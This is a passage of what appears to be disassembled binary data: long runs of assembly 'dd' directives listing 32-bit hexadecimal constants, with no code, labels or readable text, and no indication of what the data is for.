dd 0B9CE9Bh, 5519A953h, 3BF720D1h, 807D653Fh, 0DAB4115h dd 0FDA8F57h, 5B26808Dh, 3ABD6F66h, 56376700h, 8E86700Dh dd 194409F6h, 2C82151Dh, 8040ECBCh, 9724735Ah, 0CF036854h dd 0F0BBA101h, 4DD76CAh, 0AF2CC51Ah, 0F27890D1h, 0DE394F36h dd 8ECC09A6h, 38A0E07Bh, 446D5AA9h, 0E0A3F4B8h, 0C004A48h dd 57903D37h, 0E8D794ABh, 54A5003Fh, 222C2BE0h, 0C40B70E5h dd 348DCDh, 30AC37ECh, 38881E96h, 615800B5h, 1F04E972h dd 0A1064500h, 0C6EDAE02h, 0E0CF49DBh, 80E55E1Ch, 9C543EE3h dd 97006511h, 32FE942Dh, 7A7644D1h, 6F16041Bh, 0C0DA0C55h dd 0AE13A69Ch, 7796D33Dh, 4FB0CF00h, 0C6FB8B35h, 0EF2000Fh dd 0A6B60273h, 2A3E92FDh, 0B1E780D5h, 116A80D1h, 2BA00044h dd 9B49A1CCh, 0AF00F33Fh, 9E7364B8h, 20918Fh, 29D0E6ABh dd 4051744h, 2CD80F2Ch, 3A62AD00h, 0B0126402h, 5597332h dd 0FF340E38h, 0DEF2C02Eh, 0F20EB6CAh, 493D8058h, 6389DFh dd 3F403253h, 0E03750C0h, 9FCF0E9Ah, 0B5E11283h, 0C894ACA5h dd 97FE45E4h, 916A8B00h, 0F4CDB9A9h, 9AFB07BDh, 60FE3961h dd 9C276EDCh, 0F3A6D0Fh, 32DBC0C3h, 1FB29910h, 17FAA32Dh dd 654C0239h, 0F0E8A7ADh, 0E00DEBAh, 354E1B14h, 7FD52F50h dd 3D470006h, 6A330709h, 0C600B8EBh, 3C38C842h, 46B50C5h dd 0EC45429h, 0A9C0C0E5h, 0E1018E34h, 10B433F5h, 0C7F0AF7Dh dd 21300EADh, 41C3F29Eh, 46980F55h, 1B0B53EDh, 80877C26h dd 8940499Ch, 4B640085h, 66D4F29Ch, 0D002E45h, 0C3DCF313h dd 87EBD9h, 0BE3734F0h, 0C57EA36Eh, 410D8C00h, 0B496F2FFh dd 62A9006Ch, 0B8F409ABh, 83008271h, 0CE87E665h, 7C5D3E7Dh dd 14448DEh, 555F2100h, 0CCBADBD4h, 88D683EEh, 644A00BEh dd 0BD03770Fh, 5044E0B4h, 79E79CF0h, 78FEED4h, 0D9CE78B6h dd 0A02E0059h, 0CD00AF2Fh, 44F5BD20h, 3AE64870h, 0B8043E99h dd 802B7EA4h, 12AB3D34h, 76E98100h, 0E4CDE073h, 1F3F0C87h dd 0DECBAFDh, 0AB93BD18h, 190F690h, 5D359D37h, 20737707h dd 0F1001A20h, 4A6E2A7Ch, 7F88A8E3h, 5BB8167Fh, 1614016Dh dd 0ECB7CFB9h, 0AC3EA439h, 33CA0035h, 0CD4D56DAh, 7B430049h dd 6C02B2ECh, 0E6028110h, 4A24AED7h, 4AC85021h, 5D600107h dd 2C12596Ch, 0BB1E0020h, 732C5AB0h, 2A461771h, 0EE1D0753h dd 83F8D07Bh, 630058C0h, 83F2C15h, 2B17032h, 47BCB61Bh dd 0E86297A3h, 4345CAC0h, 0EEDF5A0Fh, 9330201Eh, 1E12EF95h dd 40BE8C5Eh, 0CB2F7331h, 9E009F15h, 0CCE96CDh, 17C8F319h dd 34454E6h, 30DD7780h, 9BA15CA8h, 85B73C07h, 0E6D017E0h dd 123340h, 0ED9FE884h, 35EF535Fh, 881C2400h, 1B561D75h dd 763E0F39h, 8D079C7Bh, 0B440801Eh, 241E2F79h, 74002A70h dd 0F15AC8C0h, 717853h, 0E3CBE68Fh, 5270199Fh, 439AF500h dd 0EA0AF8D4h, 5850E5Ah, 0DFE06555h, 0FA2AC5F3h, 8986831Fh dd 2C0BB300h, 7ADCBA1h, 0BAC74884h, 44A75071h, 0FF0F87D3h dd 0B27E02h, 36D2C5F4h, 0B79C0043h, 78E36084h, 2A00689Eh dd 23B19F83h, 9170E9h, 35DD1F2h, 5B15425Ch, 0EDE8407Ch dd 6B1F4170h, 0FB8F2C38h, 3D109807h, 0FC3C3831h, 45002644h dd 0E8CF4E30h, 3B7176C8h, 0B80282Ch, 18311C1Fh, 3302F994h dd 81082189h, 13ECE029h, 0DD6509A1h, 0A900DBEFh, 888DE686h dd 0A04AD400h, 7352B10Dh, 0BBB1D75h, 633C05Eh, 0D534B9C4h dd 2081CA00h, 0D3FCA129h, 10210EE3h, 0F5E60596h, 0C400F8ECh dd 0C9F3A56Bh, 1C1E4D9h, 1285262Dh, 0C44EA13Ah, 0BEEC4793h dd 8143AC00h, 83188CDh, 0B40C1C2Bh, 0EAFAC014h, 51A6A3E7h dd 0A4987700h, 1C29838Fh, 0DD0800DFh, 6F1B65Eh, 0EF3C1039h dd 1AB5072Dh, 0F920C7FEh, 0A4E50Ah, 0DAD503C2h, 4704BE14h dd 68E9F81Eh, 0C3C0451Eh, 0D7F4C93Eh, 1E1B0001h, 3F7C2E56h dd 90048E3h, 8ACAEBEDh, 7D9EDE31h, 18E1020Bh, 91D01A29h dd 0C2009FF0h, 0BBA75FBFh, 5343C8h, 2D05A8DBh, 0B7C617B2h dd 7DF7B812h, 0A1E2EA01h, 0BE606D64h, 74AB0FF5h, 0B9807577h dd 520FB66h, 0C3A851Fh, 33E8EF40h, 0B88490D5h, 7BA33970h dd 0A56C1607h, 0E95AC01Ch, 13008223h, 923E5294h, 1660BAh dd 40EA6A89h, 1AD03984h, 4B17D900h, 0AF3537E6h, 6D0500E4h dd 7D89E767h, 0E500D724h, 8AC6192Ah, 0E4436Ah, 0C821204h dd 0E1A756ECh, 6B07D700h, 38EB09E0h, 3AFAC4h, 59D035FCh dd 0CAA133D9h, 69DBD50Eh, 946E1F1Bh, 0EB76E00h, 0F3A5E61h dd 0EFE930E7h, 8D898020h, 0A100B814h, 10D88E73h, 718CF6Fh dd 3B0FED44h, 660AF0F4h, 1D5CF523h, 0C2700E1Ch, 74CE405Bh dd 0C49360h, 0B36BE048h, 0FD09BB12h, 33B03400h, 9BE76A46h dd 7AA6E2C6h, 0E58800C2h, 9115830Ah, 740075BAh, 0CFD59CADh dd 1C31202Dh, 52F6A196h, 9A1F18h, 6F08B70Bh, 6C008AC0h dd 0D66E7D5Bh, 0AB3CDEh, 0B2FCE39Bh, 884E0E91h, 26B50B00h dd 806A7537h, 1CC03EDCh, 7E298480h, 5106773Bh, 658B5507h dd 0F860B77Ah, 718FF06Fh, 57CD00D4h, 0F5B945Dh, 7A003463h dd 0C95ACF02h, 0FD81F0h, 9BF22C91h, 483F9C08h, 0BE35961Dh dd 22BB5140h, 0DEE113h, 0C9F6FD9Fh, 4B24A595h, 9750040Fh dd 94A8A00Fh, 0F50609h, 0B0F3D45Dh, 1C843B40h, 9CE20507h dd 27E7EE81h, 0BCD522C0h, 8F1A0318h, 15B86A3Eh, 0A2CA63D8h dd 5C0D3B00h, 0F2629E07h, 0AA51005Dh, 864730Bh, 66000E61h dd 0C27D5481h, 0A05EE6h, 0EFA7271Dh, 0BE8AE365h, 66D35C01h dd 691B718Bh, 0D6490DFh, 3F52C0B2h, 0AA2E7EA9h, 0C8213D00h dd 0E07D8D12h, 0DCD60064h, 7BA9F097h, 72267487h, 5C0008CEh dd 9F322CB7h, 66A40279h, 28CAF9DFh, 52DC0068h, 0A65DBC3Dh dd 80004840h, 192F41Bh, 12950571h, 0E55A1B6h, 0C0C099EEh dd 7FF1B3BBh, 899E2D3Ah, 0A3F9E8C7h, 0C450D7F0h, 0DA41FDC0h dd 51D300DBh, 4F830EABh, 8D00E46Fh, 0C19C6C33h, 0C01BB9AEh dd 46AA2481h, 581271B4h, 0E3032B5Eh, 0F0E86F8h, 782A0320h dd 110AEF06h, 0CA002278h, 0AB83F9B8h, 9EAE6Dh, 61046E06h dd 0D0B6598Fh, 3D1A5000h, 0A52464E2h, 8DA03A8Bh, 0B79AC683h dd 780E5853h, 273BD91Fh, 5B405F9Fh, 1F94670Eh, 0EF9C4Eh dd 317813DAh, 7E03A599h, 611B7473h, 228CC89Fh, 34AFCC9h dd 0A46C3BE8h, 5000DB1Fh, 0FB3FCA1Ch, 0F8D461D7h, 0D20CA0A2h dd 632200F4h, 39E82E84h, 6E00C2A3h, 3DAC23ABh, 0B4CCD6Ch dd 0A5C75F73h, 35E23F00h, 7F00AB61h, 0FF299051h, 741F5EBh dd 64EA3909h, 70A3B083h dd 250060A0h, 264EFF2Dh, 5E613h, 0CF4787C7h, 41B404D1h dd 33F4C3Ch, 403C2BBEh, 0FC9CF8B7h, 7CE639h, 0F8682CEBh dd 0CD6165D8h, 0E917E200h, 440F02A1h, 83DA1F80h, 75D74069h dd 55A82272h, 9D162C00h, 91BCAECh, 0E9A00354h, 85A6F8F5h dd 0ED193BF8h, 0A800D77Bh, 0A86FA74h, 7CBFA42Eh, 0BE00EDFh dd 0F5819281h, 30EC8F3Dh, 513925EEh, 0ABABE5Dh, 0D0E73C99h dd 0F44680BAh, 3DA3D90Dh, 9C613F20h, 0E04D30F4h, 1DAB2320h dd 0CA05D27Eh, 0EF2C6CCEh, 9590E000h, 285E0F81h, 28F309FDh dd 0C43752h, 8A5F913Fh, 58FF6B61h, 749B6438h, 0A5D4EE54h dd 340066F8h, 7C57FC37h, 70BD460h, 0E41963BEh, 38C6A041h dd 4E00F074h, 15ECDD62h, 5C675E13h, 3C03A4A2h, 0EFE164C6h dd 14F2217Ah, 1CD15E66h, 34102190h, 455F8681h, 19C2A361h dd 6CA010DAh, 99F50066h, 0C07FA725h, 0D90052CFh, 8C38D660h dd 0EABE1E2h, 25473908h, 0C39EB6Ch, 0C7A29700h, 0E0636905h dd 0E20300C6h, 0A9AAE70Bh, 0FB01E90Fh, 0DD236455h, 0B08730ACh dd 8326E3C1h, 1000315Ch, 0FE6AA39Eh, 2BC349h, 83162DA5h dd 0CCDE8A3Bh, 82683Dh, 0AD28F8Eh, 7BA3EADh, 67E589A4h dd 240E815Fh, 4C53E8FFh, 608BDF39h, 74997C4Eh, 8D9D0307h dd 75AE2DB9h, 8744C5C8h, 0EC98C000h, 0E4477CB6h, 52293063h dd 3F9B9740h, 6A4C5F00h, 575654C7h, 2F21F93h, 0B24B4B3Dh dd 97282F80h, 0F9008BFDh, 0E3A95AB1h, 309EF02h, 0F1483D41h dd 4000F408h, 0B25C5753h, 0BF1D80h, 22AEEC0Bh, 0F4441438h dd 1EC2BE1Dh, 7C8B18C0h, 1FF11316h, 43F080FCh, 0FD33CCAAh dd 871D4CF8h, 0D2606362h, 28AE607Bh, 0F180F585h, 0F5589F31h dd 790124FAh, 7B9C672Dh, 0A88FCF66h, 228C3213h, 85187CD0h dd 7F180CFFh, 0E8C80188h, 739BA8D8h, 98CD103Eh, 0F79750Fh dd 82D51E9Dh, 2258CE01h, 4CD0806Eh, 0C04BF054h, 60930341h dd 77CB9AA8h, 0D8DD03C1h, 87005F65h, 63756195h, 0F815285h dd 408FC5C3h, 2DC0E3E0h, 49386CABh, 993800B3h, 6A61D55Ah dd 0C6E83Ch, 5C04322Fh, 0DEBDF0A3h, 7E1D8C3Ch, 18B8516h dd 0B4285700h, 0E0B13A96h, 0C4F8EB27h, 265A007Fh, 0E43EDE46h dd 7400286Dh, 3FD076AEh, 7668BA7Bh, 99290043h, 4C58A296h dd 0D4092E5Eh, 69654Dh, 661E20E8h, 0EE530099h, 0B812DBBh dd 3E03A964h, 41D7D6EAh, 0AFAAC0B6h, 3C9F7B8Fh, 3F00D129h dd 0ACA55FC0h, 59551C69h, 4B0E680h, 2F3E3271h, 0B5FD1460h dd 3C5B00B2h, 59AE5154h, 43BB057Ch, 0C0716265h, 0FD480E1Bh dd 9F63DD18h, 8852E828h, 0F886C1Fh, 0C85D8827h, 84DC9340h dd 424AB522h, 66F918E3h, 8A549051h, 2921DEC3h, 1F3C3817h dd 843C21FAh, 9039A008h, 2667844Bh, 0AC421848h, 211F241Bh dd 0CC12226Ah, 1EF05082h, 0B0403324h, 691674A5h, 0F6D48200h dd 0E37322ADh, 7AAF08Dh, 1BB03CA0h, 0FA00EF1Eh, 70F66751h dd 1348C900h, 0F17A5209h, 2FEF0003h, 8AA6F4CEh, 0D6011C77h dd 44203419h, 2CD00C72h, 0A97171h, 7B60E554h, 128A110h dd 64BD3650h, 1A3E3B07h, 6ED0BA5Eh, 3A5477B6h, 0FC00B541h dd 0A11EE433h, 3600AB13h, 340F310h, 35A9863h, 37725FD4h dd 33F86DDEh, 0AF606F7Bh, 0D70CCB29h, 0E5730065h, 0E8E40735h dd 0E00E21DBh, 971F67Ah, 0CE1420CCh, 762DED56h, 13F40034h dd 0D812E008h, 0E701BD49h, 7BADDFA8h, 588197FAh, 0F1C53CDBh dd 9D2DF093h, 65F68100h, 0E5724667h, 0C82C0099h, 4DA3411h dd 0A903D98Eh, 57F85B7Ah, 4D700064h, 6F2445CFh, 0C3E013CEh dd 180A203h, 0A8C18742h, 0F04FB3h, 2D3129E1h, 738D5BBDh dd 0A1FFB800h, 28EC3A69h, 27A40041h, 0B2BDFDDAh, 240065A6h dd 0B816A20Ch, 764B15F2h, 90E70076h, 19579F67h, 271FED2Bh dd 77805EA9h, 0F7669EECh, 87F40099h, 54753EACh, 2F1C5DC0h dd 9185A713h, 0A580CFADh, 79F1639h, 0BC7689F3h, 60AA2768h dd 5AD0F7C1h, 0C26B404h, 0B8807A62h, 7D3263C6h, 0E03D1F7Bh dd 0E978C7CDh, 4A59F02Eh, 9106B564h, 989F71DCh, 45E20068h dd 0AC8C10C0h, 18000ADAh, 0B9FBF367h, 0BD2983h, 0AE77A4F0h dd 0DD658E7h, 9A000AE2h, 0A894E5D7h, 7D3D2DBEh, 731803E9h dd 1AC6C0A6h, 8EBB4790h, 0F400C971h, 314ABE93h, 0A54DB6h dd 98131ADEh, 0D638E1E5h, 5503F77Eh, 0D7B181FEh, 0D00CF39Fh dd 1A2FCAC5h, 304D2271h, 0A3F00881h, 0A460D0ACh, 6CF6D500h dd 0E425B1ABh, 0C8203062h, 4FE84610h, 38BF7E00h, 0FDE2CC03h dd 0BE700041h, 431D3116h, 7600E5F2h, 19BF1BECh, 4CD24F2Ah dd 0E100585Ah, 2D0B3D32h, 4C00319Fh, 8F79A309h, 123D356h dd 0DA7A10D4h, 0E0E120FFh, 1001AD8h, 0B882FB96h, 60B46D11h dd 3714D81Eh, 6149308h, 1886531h, 0D52B8A90h, 4BE82810h dd 0B4490047h, 69F646F9h, 82008B1Dh, 0C5A12EFFh, 0D36D66h dd 0C48C086Ch, 0A96F1BB5h, 4085D11Fh, 7513B200h, 0F59E51h dd 70D9E4DDh, 59BDF760h, 4500B6ECh, 33D1403Fh, 175D67Dh dd 898B9FECh, 0FC0FCB74h, 16003223h, 37D2888Ah, 3A6A40h dd 9A39471Fh, 80B13DA6h, 3B76FF00h, 0F4880809h, 227FA95h dd 0EACECF20h, 0D84087FEh, 59E49DECh, 0E700827Ch, 0F278EFB9h dd 0C1DF8Ch, 67ED73E9h, 0C0BA8AD9h, 3D070D00h, 0A515C238h dd 1CD47F81h, 3CBD2544h, 2D3F8600h, 311CA177h, 0B6099300h dd 1FF0C23Ch, 2B5800DEh, 0B23EC355h, 0FF046CE2h, 0C2083848h dd 9943E090h, 884C285Eh, 666838C8h, 0FC57F481h, 0E4735C5Ah dd 8C03E436h, 11259535h, 0DD7CB8A2h, 0A8900098h, 7A15C948h dd 1900D53Fh, 0DB035123h, 1E83EAAFh, 0EAE4388h, 81BF26C7h dd 789E936Eh, 0A6CC8080h, 0D804975Ah, 21AE009Ah, 0A7B92842h dd 0CF00DBF5h, 4F7F3CE9h, 58EC366h, 260E8DCBh, 19FC0014h dd 0F281F11Ch, 0D325400h, 82D12A5Dh, 0A2080026h, 0B2D6E59Eh dd 0E900F855h, 15CAF910h, 2DB73034h, 0F9C09B67h, 0B91D8338h dd 0C140D971h, 0F7D1FC7h, 368B80Dh, 0F35C03D2h, 32C8E217h dd 0B10056D1h, 33D447C2h, 32FB644h, 727BB9A1h, 50A028C4h dd 0DE1287C3h, 5D02BAF6h, 4290D039h, 0AE28407Eh, 731A005Bh dd 0C5AF9406h, 4C1EB0BCh, 0F100F0A6h, 0B881EBBh, 0A0987C09h dd 8DEB9Eh, 34B4F8A8h, 90C3D2C7h, 6BFA43F8h, 521325EEh dd 280E2188h, 64756040h, 309B2Dh, 926214EDh, 0A428A902h dd 0B9F1E005h, 70803E77h, 795A8A21h, 0BDE6A6h, 158C42A2h dd 7961EEC6h, 106B0D00h, 2D962882h, 10F060E8h, 2A3E5C02h dd 0F3130A0Eh, 8022AB5Bh, 28C36544h, 233F05B0h, 2BAED2Dh dd 84E90EECh, 0E27759C0h, 1C0066EAh, 9A6BFD15h, 87DB8Dh dd 4BECAB40h, 0BE6AD0C7h, 360159E8h, 20288E8Fh, 0FA47C564h dd 0D7D81420h, 0BD3300D3h, 1FAA0D8Ch, 800FD04h, 57CCD4A7h dd 0DCA4EBh, 0D3C2C39Ah, 0AF69944Bh, 32B66F00h, 456E1E90h dd 0BFA1077Ch, 8F714199h, 0D0BEEB27h, 6B9243Bh, 0AFBA3Ch dd 0C3D96125h, 7529CE0h, 7FC1219Fh, 208AF00Ch, 0A00C410h dd 0BC862C06h, 9008D028h, 39E60E00h, 0C9C07803h, 375679DCh dd 0E5FA3C01h, 0EB6AB354h, 3E0E8FD8h, 7E00AAB2h, 257AD5F1h dd 0D13E0ABh, 0B900CE62h, 53C3877Dh, 99110091h, 0F92D4542h dd 0D8008EE6h, 0FF4386D3h, 598072h, 0FD6ED753h, 33F49722h dd 99363D00h, 0DB5E4B3Eh dd 852000A4h, 0E8A0ED3Ch, 5A00FF1Bh, 681DF6ADh, 3A63579h dd 65DC3F2Ah, 0FDB1D7D3h, 1010804Eh, 705D8AAAh, 75D900BDh dd 6DA71A08h, 37000D52h, 91725BA4h, 2C844AA0h, 911EF2h dd 20BD7A8Fh, 240240F6h, 766DB0E9h, 9D626105h, 21C26D0h dd 981174B2h, 0D0809CCBh, 3A0601C6h, 0B4736E00h, 4D518B8Ch dd 74290089h, 1775A2EEh, 100F018h, 8499C852h, 0F7B40Ah dd 49DED6CDh, 7DC72DBBh, 0D1DA3Dh, 84F2904h, 0E20F11h dd 53E43CB1h, 0BC929307h, 2181BA00h, 0ABE166D0h, 772700DCh dd 5218FB6Bh, 8B0025B8h, 8445D5CDh, 8772C3h, 0F3F80A98h dd 5DEEDDBh, 0A9363Ch, 5688A70Fh, 5C212E60h, 1700120Ch dd 43FF29B7h, 1D00CD90h, 0FD38DBBAh, 0F6B4F69h, 0F0313560h dd 7626829Ch, 0BEE01581h, 0C80011E2h, 3CA30733h, 38089814h dd 1E803206h, 69375E4Dh, 0DD0046F8h, 9BC12BB6h, 262098h dd 88EBFB8Ch, 0A3B16D31h, 1B1C3Dh, 0F3CD4D46h, 0C27FC6h dd 53AE4E72h, 0B8E1E78Ah, 3F01291Eh, 1BE68B8Fh, 0AD408850h dd 52A3092Fh, 0B700FBC9h, 5B6605BFh, 44213800h, 5DCAD309h dd 0EB03005Eh, 3E8857B7h, 0CF005C3Bh, 83908CEEh, 0E3593C4h dd 0A85D640Ch, 0DD808BAEh, 4A34D5DAh, 12F37095h, 662367h dd 79929068h, 0A9009C39h, 73A4466Eh, 1FFB8F43h, 86D77D0Dh dd 108EFE6Dh, 0A6D31E06h, 1212ECEh, 9E129A11h, 20257E75h dd 0DE0086E4h, 5FEFED03h, 4D9B1Bh, 1CAF38D6h, 90548D87h dd 0D5E24500h, 23364F0Bh, 583F008Fh, 0D9834662h, 0E70305EDh dd 0A060BE26h, 771FB870h, 50E824BCh, 88B80154h, 7F7E18h dd 726142h, 10584CE2h, 0B975EA85h, 6135D526h, 7F322A00h dd 8BD884h, 0EF165495h, 1A9BBFCAh, 493ACD00h, 4BF6BDE7h dd 89A00414h, 90D6856Fh, 0FD2E3654h, 39B34884h, 0AD603F30h dd 2900726Ch, 0E3E1A1C0h, 62FBC8h, 0F21EC9Eh, 65EA898Dh dd 667EACA0h, 83944554h, 40789D02h, 32B17Ch, 0A321ADA9h dd 5DF9080Fh, 5045C2FDh, 0F0C8C0A5h, 0C1C41EA1h, 81B50036h dd 6B31B43Ch, 7A01E67Ch, 644E8C07h, 0C3C4B238h, 8F16051h dd 29E4BAC2h, 42235A01h, 9B0FC48h, 0C01CC3FBh, 766B0252h dd 97100032h, 0E6FE4C2Eh, 8C1CF7F2h, 0B180B512h, 564EC11Eh dd 0E1A805CCh, 41DFD4D9h, 5F63E88h, 4CDC23E5h, 0CA1600CFh dd 0BFB3A179h, 2880028h, 0F873A6F4h, 3026486h, 9A58A48Ch dd 2EF18007h, 7563430h, 1C09B75h, 0EB71724Eh, 0A413EC48h dd 7303677Ch, 0AE12E590h, 0A347B2A0h, 0C83EE6A0h, 90C8C0D7h dd 0C4FD03A4h, 63BE210Ch, 0E698A4D0h, 355A9000h, 0D8EFF644h dd 2B680026h, 75DCB596h, 3304044Eh, 71A53E17h, 0D83CE980h dd 17C9FA30h, 97251Ch, 2AFFD00Dh, 453DE73Eh, 0EDF680E9h dd 714F86F1h, 4AE400B0h, 0C45E0B75h, 940958DBh, 819AEE64h dd 82992974h, 8C37DCh, 0CD704F08h, 8D5BB328h, 5DC8FF1Fh dd 85E21B43h, 499F90ECh, 4DCD7FF9h, 414C78D5h, 0AB3FB200h dd 48CA8718h, 7A8D1C12h, 0E08B240Eh, 5BDBE135h, 1E817B15h dd 7C7C2046h, 983B0707h, 99F3051h, 6F004AF5h, 0CE45BC0Ch dd 59226F1h, 214C9336h, 0C944805Dh, 0E52C82A0h, 51C3841h dd 0A8009113h, 0B9C76ABFh, 2F220F76h, 48E05EBEh, 810FD83Fh dd 63BF4600h, 0E8340C9Ch, 892E0353h, 52C24403h, 0B5C710B0h dd 6A83C800h, 0EB5C7CE1h, 0EF500186h, 8BDA3CC9h, 0C2C8806Fh dd 7824EDC0h, 0BB643D72h, 0C7A8B40Ah, 0C51B04E8h, 8F2D4029h dd 0E4367197h, 0DA993C92h, 131E5000h, 95BACDDCh, 654E6100h dd 23CB740Bh, 64510058h, 1490F837h, 0B0009578h, 7032B5ACh dd 0B8A90Ch, 659FAB60h, 371B514Bh, 0F057900h, 32A2E813h dd 58C70036h, 4221E5EFh, 0C830E944h, 27346C81h, 2530743h dd 0E0EA7DD7h, 91AF0358h, 0C171CE12h, 0B415C00h, 0E379640Dh dd 0F5782FCh, 0A862F6FCh, 54ACC73Ch, 0AFB5906Dh, 0FF70B29Ch dd 80BF113Ch, 0DA09741Fh, 0C5012Bh, 665F6733h, 0DDB9B6AAh dd 8561F000h, 0F418B1AFh, 0C786A0A8h, 6294013Bh, 0EB67C215h dd 7059C9DCh, 0E500220Ch, 746EB590h, 7F89B1h, 37077BFCh dd 0CE0BB614h, 0D9A00EF0h, 9971CC29h, 0D7AC3D00h, 1E4F5875h dd 423000FAh, 0DC709FDh, 0E5007D7Ch, 399FD8A2h, 50775CDAh dd 36FE086h, 5AE4795Bh, 0E802EAFh, 0E6E28F02h, 706DF0Ah dd 5604F473h, 0DC902674h, 175CE29Ch, 8C4B41h, 0AA3FE095h dd 60BACB95h, 2100567Dh, 0BECD9EF7h, 1D43D516h, 81899088h dd 0F4F9E4DEh, 505FCCB5h, 1D7F2E00h, 0F814866Dh, 0BEA91D31h dd 9F810077h, 9062304Fh, 24712800h, 7F2383A2h, 0B8A50089h dd 9BB901EFh, 5D00756Fh, 57F07788h, 14A89303h, 0E4C50E6Dh dd 25BF017Dh, 53FD3580h, 3370FC5Eh, 79447F3Ch, 716D6714h dd 6FAC07F0h, 83FBEFFCh, 0A83BA804h, 37BEF5h, 96A3F94Ch dd 8F55826Bh, 0E4DE0128h, 0AA326910h, 0B9455081h, 0DBEBE0E3h dd 3CD97400h, 6A727735h, 0B5D7007Ch, 0DF31B0F3h, 0F112EE58h dd 550B0D34h, 9CE003BBh, 32FDF1D3h, 90959DCh, 79F3AF9Bh dd 5B30B020h, 0D0C1C750h, 46AD32FFh, 0B4AC31FDh, 6F42FD1h dd 0BCCC9202h, 0C1D0A082h, 0F178A38h, 3C30EB78h, 87C634A4h dd 6F9380C5h, 3218DD96h, 62591644h, 0AADE0077h, 0D794B675h dd 173EF4E5h, 660A803Ah, 0A4EF2328h, 0DDDC03DAh, 0B352D67Fh dd 392AAFE8h, 5D33B2F4h, 0C0F368D5h, 39F2DACh, 0B55813CBh dd 90A08255h, 0B962BD99h, 4224EFA1h, 0F70C4051h, 26AB0298h dd 2D6CE7Fh, 95706840h, 7321D767h, 426080FBh, 94EDDE4h dd 0DA570721h, 0F7BF3400h, 87005E43h, 7839B784h, 5D5D252Dh dd 1D00988Dh, 930C59F7h, 0F604243Ch, 36CE3BBEh, 0A623A380h dd 49460060h, 7F31672Ch, 0BE07B190h, 91E90EA3h, 0BB865E20h dd 7AF700D2h, 448A251Eh, 66FC06CAh, 8B003175h, 8F2036Ch dd 0AA14C29h, 531609ACh, 3CBF00E0h, 4DF17AC8h, 9520E7E6h dd 0B76502C3h, 751D9B08h, 8CBE2060h, 4C96191Eh, 0F8BFE607h dd 0D3C11137h, 4860B749h, 1CB200B1h, 237C3C04h, 0C700B8E0h dd 554FBB2Ch, 4826BADEh, 0B10048E3h, 0F4154DB4h, 3E00B363h dd 8625CAA6h, 44F32Fh, 0CB83B043h, 0C5F67FDFh, 5800ECECh dd 6B6489A6h, 4893AC44h, 690194F5h, 28293E3Ah, 0A6F1C0DEh dd 70388400h, 2BCA64E3h, 0F48200AEh, 0F88B85E0h, 0AD7E2599h dd 4D177E05h, 0F0006F20h, 31B332FEh, 0C6E1484Ah, 4E95BB07h dd 88EEB063h, 5F120D7Ch, 0FA0FC6A0h, 4330EF27h, 0B554D5CDh dd 8B779440h, 0BF6158h, 1E5EA366h, 4F7B148Eh, 6E092300h dd 0E2080701h, 0ADD0027h, 5E583BABh, 0B4076AD9h, 534F5968h dd 0ED54C7A0h, 793200E0h, 75FD943Dh, 0DCB89366h, 1B5DF201h dd 55484C3Fh, 0B1AA3089h, 0CED100A0h, 0F42C4BFBh, 58016489h dd 5A7FAD2Fh, 0AA23C0E6h, 2795071Dh, 0E0C391C5h, 0A2BFB62h dd 9E2AC200h, 88C6FA30h, 0CB37F809h, 3182D828h, 10E0A4EBh dd 0F1005CD1h, 31B25A68h, 7647C6C7h, 4DA0AFFh, 0BC91C9h dd 0DFC220C0h, 0FE00B8ECh, 83381B7Ah, 5CA0B93Ah, 39019276h dd 0CABB4279h, 46688026h, 0F3B70D13h, 3A43018Bh, 0A2409CA7h dd 6485CC1Ah, 0CAD63F01h, 25D45E0Eh, 1E042EFCh, 0A3EF63h dd 0E1221411h, 5F07D75Ch, 4DB31C24h, 0EEA9C931h, 0EDA55C4h dd 45AB4D6h, 6EBC3DC0h dd 1A70CC48h, 41EF8C07h, 80ABE143h, 22966B3Fh, 518413FFh dd 953D0C17h, 0EE006110h, 2569941Fh, 7FE78E75h, 0D6930050h dd 23667216h, 0D49A3FF1h, 0C777D900h, 4CF7EA51h, 2E54B2A8h dd 0CCC9E4h, 5A31A2EDh, 921C1DFCh, 8FC019CBh, 0F1873F6Fh dd 0A4758Bh, 0FD77687Eh, 23010C9h, 263C6638h, 8001F14h dd 0F4289C3Bh, 0C7230BBEh, 0A48727F5h, 211EB31Bh, 5A518BE0h dd 7A584A00h, 0E7102A6Bh, 2EB335EAh, 0D5500098h, 274C660Bh dd 0C0A87E4Fh, 0E3F39D00h, 0C573F21Dh, 0AC2A8901h, 82FAA249h dd 5130B1D1h, 0B52E1F9Dh, 1FAF0E15h, 64316CE0h, 6B00C763h dd 0FD8FA469h, 0E3C2EFEh, 32D8791Dh, 0FA3AB7C0h, 4B3CEF15h dd 0AEDC9DEBh, 4045120Fh, 0CD97CB71h, 23500010h, 1D41DB54h dd 0AA01B3C1h, 0E1569506h, 0DCEC78C2h, 132F01B6h, 907117F5h dd 0BAF7C045h, 37BFF90Bh, 0F2FD8E7Dh, 1486C00h, 2CAF60h dd 55AE4FF0h, 9E869746h, 979D4439h, 0B4007D70h, 0AD15A80Ch dd 2F260050h, 0D6D0DAB4h, 0BA0F3EDFh, 1D4CDDh, 0A8950146h dd 0A4C54856h, 0C3C9A200h, 63EDBFAEh, 4E9F0F03h, 0C1DABC06h dd 0BBFCC011h, 42B50E75h, 9EE06D4Bh, 86B26319h, 8A00BF70h dd 0D77620CCh, 0E30281h, 34DBDFC0h, 78D83A94h, 82E251ECh dd 877EED3Ch, 0AEAF6569h, 9FDE24A0h, 0F0450052h, 3B6E79Ah dd 2CF2B38Eh, 26DB0F30h, 2438D390h, 18D40C8h, 7DA14BEEh dd 2A0C303Dh, 0A02B2C00h, 24297E43h, 0AB970D25h, 0E421F736h dd 7A00A54Bh, 3090A4FAh, 0C3C6CDC0h, 36E86FF0h, 972884F0h dd 0E440F44Eh, 179BF1CCh, 87B62C0Dh, 569E009Ch, 1A40341Bh dd 8805B102h, 4898392Dh, 0C7D154h, 0B69B0E16h, 0D9FE0167h dd 39E05939h, 3AE780A5h, 0BCCD78ACh, 0AFE5006Ah, 0DF730BCCh dd 1700890Fh, 4BE0A8A0h, 35925Eh, 71DA54EBh, 335B10E8h dd 12B23900h, 8A5E7A23h, 9EB90183h, 0ABEBA45h, 7177F4F3h dd 0E59FCC00h, 0C8D36094h, 6D6A00D2h, 2EE43410h, 0D5022009h dd 46866336h, 0C6C0777Bh, 5F1365D9h, 6E0E31B4h, 4B001780h dd 0C0602D25h, 42CF0035h, 6D7ADB46h, 0DC004C70h, 16C48751h dd 7A76D766h, 0C11C586Fh, 9201CF3Ch, 29122F03h, 91C024C2h dd 0B439BB00h, 925AA609h, 276C00A7h, 7CA938B3h, 5D01A175h dd 